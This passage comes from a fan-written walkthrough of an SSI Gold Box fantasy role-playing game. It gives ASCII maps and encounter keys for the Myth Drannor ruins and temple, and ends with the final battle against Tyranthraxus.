guards and a cache of weapons and money.  Go back to where you recieved the
Princesses blessing and walk through the trees next to the wall and you will
find yourself in the Ruins of Myth Drannor.


            +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
     15     |                                               |
            +  +--+--+--+--+--+--+==+--+--+--+--+DD+--+--+DD+
     14     |  |     D10   |  =  |  |   7 D8    |  |     |  |         N
            +  +  +  +  +  +  +==+  +  +  +  +  +  +==+==+  +         |
     13     |  |     |     D9    D  |     |     |  |     |  |         |
            +  +DD+--+--+DD+  +==+  +--+DD+--+--+  +==+==+  +    W <--+--> E
     12     |  |11   |        =  |                 |   5 |  |         |
            +  +--+--+==+==+  +==+  +  +  +==+==+  +==+==+  +         S
     11     |  |  =  =  =  =     |        =6 =  =  |     |  |
            +  +--+--+--+--+DD+--+--+--+  +==+==+  +==+==+  +
     10     |  <  =              |     |  =  =  =  |     |  |
            +  +  +  +==+==+  +--+  +  +  +==+==+  +DD+--+  +
      9     |  =  =  >     =  |  D     |            4       |
            +--+--+  +==+==+--+DD+--+DD+--+--+  +  +--+--+--+
      8     |  =  |        |     |     |     D     |        |
            +==+  +  +  +  +  +  +  +  +  +  +  +DD+  +  +  +
      7     |  =  D      12D     |     |     |  |  |        |
            +==+  +  +  +  +--+--+DD+--+DD+--+  +  +--+DD+--+
      6     |  =  |              |15   D  |     |13D        |
            +==+  +  +==+  +  +  +  +  +--+  +  +  +--+DD+--+
      5     |  =  |  =  =        |     |        |  |   14   |
            +==+--+  +==+  +  +  +--+--+  +  +  +DD+  +  +  +
      4     |  |                                   |        |
            +==+  +  +  +  +==+==+==+  +  +==+  +  +--+--+--+
      3     |  |           =  =  =  =     =  =        =  =  = 17
            +--+  +  +  +  +==+==+==+  +  +==+  +  +  +==+==+
      2     |            2                            =  =  |
            +==+==+  +  +--+--+DD+--+--+--+--+  +  +==+==+==+
      1     |  =  =   1 D      16            D     =3 =  =  |
            +==+==+  +  +--+DD+DD+--+DD+--+--+  +  +==+==+==+
      0     |  =  =     |     |     |        |     =  =  =  |
            +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

             0  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15


          1 = Elven Spirit
          2 = Knights of Myth Drannor
          3 = Elven Princess. Recieve her blessing
          4 = Red Plume
          5 = Dessecrated Grave
          6 = Dessecrated Grave
          7 = Spiders Nest
          8 = Spiders Nest
          9 = Elf Maid spirit
         10 = Suits of Armour
         11 = Elf Queen Spirit.  Recieve Weapons
         12 = Nameless Bard
         13 = Spiders
         14 = Dessecrated Tomb
         15 = Thri-Kreen weapons cache
         16 = Thri-Kreen strength Web
         17 = Path to Ruins of Myth Drannor


13. MYTH DRANNOR : 1 Level Ruins.
  Right about now I started to get very bored with mapping, which wasn't helped
by the fact that three quarters of the walls in this maze are ruins and can be
walked through, so where most walls appear on the map, they can be walked
through.  I also left out 1 or 2 encounters because I was eager to finish the
game.  Parlay Haughtily with patrols and they will let you pass, else Parlay
slyly and pay a tithe.
  First off you should meet a Rackshasa who will tell you about a gambling
habbit and a treasure trove.  Follow him around the corner where you will
confronted by another Rackshasa.  Ally yourself against Birsheya then go
through the dooe with Search on to find the treasure.  Head down the path to
point three where you will meet a frightened man.  Rescue him and he will tell
you where the treasure is.  Walk through the wall to find a gambling den.  At
point 6 Nameless will pop up again.  The treasure is at point 5, you must have
search on to find it.  At point 7 a deal will be struck by a Rackshasa if you
are confident enough.  At point 8, its a trap, you will be attacked by a
Rackshasa and some margoyles.


                   9              9              9
            +--+--+DD+--+--+--+--+DD+--+--+--+--+DD+--+--+--+
     15     |        |           |  |     |     |  |        |
            +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +         N
     14     |        |           |  |     |     |  |        |         |
            +  +  +  +--+--+--+--+  +--+DD+DD+--+  +--+--+--+         |
     13     |                                         |     |    W <--+--> E
            +--+--+--+  +  +--+--+  +  +  +--+--+--+  +  +  +         |
     12     |   4    |     |     |        D     D  |  |5    |         S
            +  +  +--+  +  +  +  +  +DD+  +  +  +--+  +--+==+
     11     |     |        |     |  |  |  |     |     |     |
            +  +--+  +  +--+--+--+  +--+--+  +  +  +  +  +  +
     10     |  |        |     |     |     |     |     |     |
            +--+  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +
      9     |         3 |     |     |   7 D     |     |     |
            +--+--+--+  +--+--+  +--+--+--+--+DD+  +  +  +  +
      8     |        |           D        |     D   6 |     |
            +  +  +  +  +--+--+  +--+  +  +--+DD+  +  +--+--+
      7     |        |  |     |     |     |     |           |
            +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +
      6     |        |  |     |     |     |     |           |
            +  +  +  +  +  +  +  +  +--+--+--+--+  +DD+--+--+
      5     |        |  |     |                    |        |
            +--+--+--+  +  +  +  +  +--+--+  +==+  +  +--+--+
      4     |  D   1    |     |     |     |  =  =  |  D     |
            +--+  +  +  +--+--+  +  +  +  +  +==+  +--+--+--+
      3     |                       |     |                 |
            +--+--+--+  +--+--+  +  +--+--+  +--+--+--+--+  +
      2     |        |  |     |     |     |  |     |     |  |
            +  +  +  +  +  +  +  +  +  +  +  +  +  +--+--+  +
      1     |      2 D  |     |     |     |  |           |  |
            +  +  +  +  +--+--+  +  +  +  +  +  +  +  +  +  +
      0     |        |              |     |  |           |  |
            +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

             0  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15


          1 = Rackshasa. Assist him
          2 = Treasure.
          3 = Dying Man. Save for treasure location
          4 = Gambling Den
          5 = Treasure hoard
          6 = Nameless Bard
          7 = Rackshasa with a deal
          8 = Ambush
          9 = To Myth Drannor Temple
          

14. MYTH DRANNOR : 1 Level Temple.
  This is another "I just want to finish the game" level.  Few encounters are
marked on the map.  You start out being called in and have to sit through a
length "Hit Enter" key story sequence.  Sooner or later you gain control and
find yourselves inside a church style layout.  Run out the door to points 3 and
4, this will wipe out most of the margoyle and hellhound attacks.  Go to point
1 which are the stairs.  This appears to be a two level structure but the maze
is all on one map so I left it at one level.  The stairs will leave you point
2. Run round to point 5, but before you go in the door camp and use the Dust of
Dissapearance on the party.  Go in and confront Tyranthraxus.  He is a Storm
Giant with an AC of -5 and 100 HPs.  Tough.  Hack, Spell and shit on the
Margoyles and HighPriests.  Don't forget to take out Tyranthraxus.  Fingers
crossed that you have all three talismans otherwise you can't win.......


            +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
     15     |     |                 |     |     |  D  |     |        N
            +  +  +  +--+DD+--+DD+--+  +  +  +  +  +  +  +  +        |
     14     |     D  |     |   5    |     |     |  |  D     |        |
            +  +  +  +  +  +  +  +  +  +  +--+DD+DD+  +  +  +   W <--+--> E
     13     |     |  |     |        |     D     |  |  |     |        |
            +--+--+  +--+--+  +  +  +--+--+--+  +  +  +--+DD+        S
     12     |     |  |     |        |        |  |  D  |     |
            +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +
     11     |     D  |     |        |        |  |  |  D     |
            +--+--+  +DD+  +  +  +  +--+--+  +  +DD+  +--+--+
     10     |  |   2    |  |        |     |  D  |  |  D     |
            +  +DD+--+--+DD+--+--+--+  +  +--+  +  +  +  +  +
      9     |     |##|        |     |     |##|  |  D  |     |
            +  +  +--+DD+--+--+  +  +--+DD+DD+DD+--+  +--+DD+
      8     |     D           D     |      1       |  |     |
            +--+--+--+--+--+--+--+--+  +  +  +  +  +  +  +  +
      7     |        |        |                    D  D     |
            +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +
      6     |   4    |   3    |                    |  |     |
            +--+DD+--+--+DD+--+  +--+--+--+DD+--+--+DD+--+--+
      5     D                 |  |                    |     |
            +--+--+--+--+--+DD+DD+DD+--+--+--+--+--+  +  +  +
      4     |              |        |        |     |  D     |
            +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +  +
      3     |  |  |  |  |  |        |        D     D  |     |
            +  +  +  +  +  +  +  +  +--+DD+--+  +  +  +  +  +
      2     |              D        D        |     |  |     |
            +  +  +  +  +  +  +  +  +  +--+  +--+--+DD+--+--+
      1     |  |  |  |  |  |        |        |              |
            +  +  +  +  +  +  +  +  +  +--+  +  +  +  +  +  +
      0     |              |        |        |              |
            +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

             0  1  2  3  4  5  6  7  8  9  10 11 12 13 14 15


          1 = Stairs Up
          2 = Stairs Down
          3 = Hellhound kennel
          4 = Margoyle hangout
          5 = Tyranthraxus

15. END
  Now you can save you game and remove your characters so you can play the next
installment in the saga "Secret of the Silver Blades" where our good budy
Tyranthraxus makes a cameo appearance as Tyranthraxus (or The DreadLord I
think) See you in the next SSI chronical......


Regards,

  =$-)

Dark Fiber [AIH]
Posted by Stu on 01/01/1990 at 08:07 AM Permalink to this post.
Filed Under : Life
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